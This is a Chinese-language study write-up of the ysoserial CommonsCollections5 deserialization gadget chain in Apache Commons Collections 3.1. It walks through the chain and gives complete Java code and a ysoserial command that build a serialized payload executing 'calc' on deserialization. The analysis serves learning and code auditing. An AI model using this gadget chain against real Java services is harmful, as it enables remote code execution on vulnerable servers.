ysoserial 系列

迷迷糊糊看了一个多月Java,把学校学的javaweb捡了起来,自己又看了看spring,想了想与其审计TOP10的漏洞,还是反序列化最考验审计能力和逻辑思维,干脆一不做二不休把ysoserial的反序列化链拿来研究研究,不想写文章,但是又觉得看得懂的东西还是写一写才能记得住。文笔不好,自己明白的东西写出来不一定明了,有问题的直接留言吧。

前言

Apache Commons Collections 的漏洞最早是2015年 FoxGlove Security 安全团队在其博客中发表了一篇长文,全面阐述了此漏洞对各种中间件的影响。

在我的上篇关于 Java反序列化 的文章中,简单提到了反序列化的入口(readObject)和反射,本文我们根据上文的基础来学习 ysoserial CommonsCollections5 的反序列化流程。

搭建环境

使用idea创建一个maven项目,在pom.xml文件中加入commons-collections依赖。

 1<?xml version="1.0" encoding="UTF-8"?>
 2<project xmlns="http://maven.apache.org/POM/4.0.0"
 3         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 4         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
 5    <modelVersion>4.0.0</modelVersion>
 6
 7    <groupId>org.example</groupId>
 8    <artifactId>ysoserialPayload</artifactId>
 9    <version>1.0-SNAPSHOT</version>
10    <dependencies>
11        <dependency>
12            <groupId>commons-collections</groupId>
13            <artifactId>commons-collections</artifactId>
14            <version>3.1</version>
15        </dependency>
16    </dependencies>
17
18</project>

创建一个Java文件,包含反序列化的方法,其中deserialize()是从test.ser中读取对象并进行反序列化。

 1package payload;
 2
 3import java.io.FileInputStream;
 4import java.io.FileOutputStream;
 5import java.io.ObjectInputStream;
 6import java.io.ObjectOutputStream;
 7
 8public class CommonsCollections5 {
 9    public static void main(String[] args) {
10        deserialize();
11    }
12
13    public static void serialize(Object obj) {
14        try {
15            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
16            os.writeObject(obj);
17            os.close();
18        } catch (Exception e) {
19            e.printStackTrace();
20        }
21    }
22
23    public static void deserialize() {
24        try {
25            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
26            is.readObject();
27        } catch (Exception e) {
28            e.printStackTrace();
29        }
30    }
31
32}

漏洞复现

使用ysoserial生成payload

1java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 calc > test.ser

20200119192547

成功弹出计算器。

漏洞分析

ysoserial的payload 中,我们可以看到问题出在 org.apache.commons.collections.functors.InvokerTransformer,在这个类中实现了Serializable接口,并且有一个transform方法。

 1public Object transform(Object input) {
 2    if (input == null) {
 3        return null;
 4    } else {
 5        try {
 6            Class cls = input.getClass();
 7            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
 8            return method.invoke(input, this.iArgs);
 9        } catch (NoSuchMethodException var5) {
10            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
11        } catch (IllegalAccessException var6) {
12            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
13        } catch (InvocationTargetException var7) {
14            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
15        }
16    }
17}

这明显是反射的用法,使用transform方法我们可以调用Runtime类执行命令

20200119192613

但是我们知道,在反序列化时都是执行 readObject() 函数就行了,但是直接序列化 InvokerTransformer 类我们还需要再次执行 invokerTransformer.transform() ,这是不现实的,并且Runtime.getRuntime() 我们也需要用反射构造。所以我们现在的目的就在于寻找看哪里调用了 transform() 方法。

最终找到了org.apache.commons.collections.functors.ChainedTransformer

 1public ChainedTransformer(Transformer[] transformers) {
 2    this.iTransformers = transformers;
 3}
 4
 5public Object transform(Object object) {
 6    for(int i = 0; i < this.iTransformers.length; ++i) {
 7        object = this.iTransformers[i].transform(object);
 8    }
 9
10    return object;
11}

在这个transform中 iTransformers[i] 就是InvokerTransformer对象,构造代码。

 1package payload;
 2
 3import org.apache.commons.collections.Transformer;
 4import org.apache.commons.collections.functors.ChainedTransformer;
 5import org.apache.commons.collections.functors.ConstantTransformer;
 6import org.apache.commons.collections.functors.InvokerTransformer;
 7
 8class CommonsCollections5Test {
 9    public static void main(String[] args) throws Exception {
10//        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
11        Transformer[] transformers = new Transformer[]{
12                // 传入Runtime类
13                new ConstantTransformer(Runtime.class),
14                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
15                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
16                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
17                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
18                // 调用exec("calc")
19                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
20        };
21        Transformer chain = new ChainedTransformer(transformers);
22        chain.transform(null);
23    }
24}

20200119192641

不得不说,漏洞发现者的思维真的是秒,这个链首先 new ConstantTransformer(Runtime.class) 通过其构造方法拿到了Runtime类,然后通过InvokerTransformer的反射功能拿到getRuntime(),然后又用一个InvokerTransformer拿到了invoke(),最后再用InvokerTransformer拿到exec,达成执行命令的效果。整个链写成一句代码是这样的:

1((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");

但是此时我们仍然需要调用transform()方法,才能触发rce。在实际情况中,我们希望执行readObject()之后就可以进行rce,那么我们找一下哪里重写了readObject()函数,并且直接或者间接的调用了transform()方法。

在org.apache.commons.collections.map.LazyMap#get中调用了transform()

1public Object get(Object key) {
2    if (!super.map.containsKey(key)) {
3        Object value = this.factory.transform(key);
4        super.map.put(key, value);
5        return value;
6    } else {
7        return super.map.get(key);
8    }
9}

org.apache.commons.collections.keyvalue.TiedMapEntry中

1public Object getValue() {
2    return this.map.get(this.key);
3}
4......
5public String toString() {
6    return this.getKey() + "=" + this.getValue();
7}

getValue()调用了map的get()方法,而toString()中又调用了getValue(),而在BadAttributeValueExpException类中重写了readObject方法

 1public BadAttributeValueExpException (Object val) {
 2    this.val = val == null ? null : val.toString();
 3}
 4public String toString()  {
 5    return "BadAttributeValueException: " + val;
 6}
 7
 8private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
 9    ObjectInputStream.GetField gf = ois.readFields();
10    Object valObj = gf.get("val", null);
11
12    if (valObj == null) {
13        val = null;
14    } else if (valObj instanceof String) {
15        val= valObj;
16    } else if (System.getSecurityManager() == null
17               || valObj instanceof Long
18               || valObj instanceof Integer
19               || valObj instanceof Float
20               || valObj instanceof Double
21               || valObj instanceof Byte
22               || valObj instanceof Short
23               || valObj instanceof Boolean) {
24        val = valObj.toString();
25    } else { // the serialized object is from a version without JDK-8019292 fix
26        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
27    }
28}

成了!反序列化时自动调用toString(),那么我们可以这样做:

  1. 以TiedMapEntry对象为参数声明一个BadAttributeValueExpException对象,反序列化自动调用TiedMapEntry.toString()
  2. 上一步的toString触发TiedMapEntry.getValue(),进而触发LazyMap.get()
  3. LazyMap.get()触发ChainedTransformer.transform()实现rce!

构造代码

 1package payload;
 2
 3import org.apache.commons.collections.Transformer;
 4import org.apache.commons.collections.functors.ChainedTransformer;
 5import org.apache.commons.collections.functors.ConstantTransformer;
 6import org.apache.commons.collections.functors.InvokerTransformer;
 7import org.apache.commons.collections.keyvalue.TiedMapEntry;
 8import org.apache.commons.collections.map.LazyMap;
 9
10import javax.management.BadAttributeValueExpException;
11import java.io.FileInputStream;
12import java.io.FileOutputStream;
13import java.io.ObjectInputStream;
14import java.io.ObjectOutputStream;
15import java.lang.reflect.Field;
16import java.util.HashMap;
17import java.util.Map;
18
19class CommonsCollections5Test {
20    public static void main(String[] args) throws Exception {
21        //        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
22        Transformer[] transformers = new Transformer[]{
23            // 传入Runtime类
24            new ConstantTransformer(Runtime.class),
25            // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
26            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
27            // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
28            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
29            // 调用exec("calc")
30            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
31        };
32        Transformer chain = new ChainedTransformer(transformers);
33        Map map = new HashMap();
34        Map lazyMap = LazyMap.decorate(map, chain);
35        TiedMapEntry entry = new TiedMapEntry(lazyMap, "");
36        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
37        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
38        field.setAccessible(true);
39        field.set(badAttributeValueExpException, entry);
40
41        serialize(badAttributeValueExpException);
42        deserialize();
43    }
44
45    public static void serialize(Object obj) {
46        try {
47            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
48            os.writeObject(obj);
49            os.close();
50        } catch (Exception e) {
51            e.printStackTrace();
52        }
53    }
54
55    public static void deserialize() {
56        try {
57            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
58            is.readObject();
59        } catch (Exception e) {
60            e.printStackTrace();
61        }
62    }
63}

需要注意的是,在声明BadAttributeValueExpException对象时,并没有直接传入entry参数,而是用反射赋值。

1BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(entry);
2Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
3field.setAccessible(true);
4field.set(badAttributeValueExpException, entry);

因为BadAttributeValueExpException的构造函数就会判断是否为空,如果不为空在序列化时就会执行toString(),那么反序列化时,因为传入的entry已经是字符串,所以就不会触发toString方法了。

1    public BadAttributeValueExpException (Object val) {
2        this.val = val == null ? null : val.toString();
3    }

20200119192839

总结

这里抄一下ysoserial的 Gadget chain

 1/*
 2	Gadget chain:
 3        ObjectInputStream.readObject()
 4            BadAttributeValueExpException.readObject()
 5                TiedMapEntry.toString()
 6                    LazyMap.get()
 7                        ChainedTransformer.transform()
 8                            ConstantTransformer.transform()
 9                            InvokerTransformer.transform()
10                                Method.invoke()
11                                    Class.getMethod()
12                            InvokerTransformer.transform()
13                                Method.invoke()
14                                    Runtime.getRuntime()
15                            InvokerTransformer.transform()
16                                Method.invoke()
17                                    Runtime.exec()
18	Requires:
19		commons-collections
20 */

个人觉得这个洞最经典的地方还是在InvokerTransformer的rce构造,着实考验对反射的理解和运用。

参考链接:

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。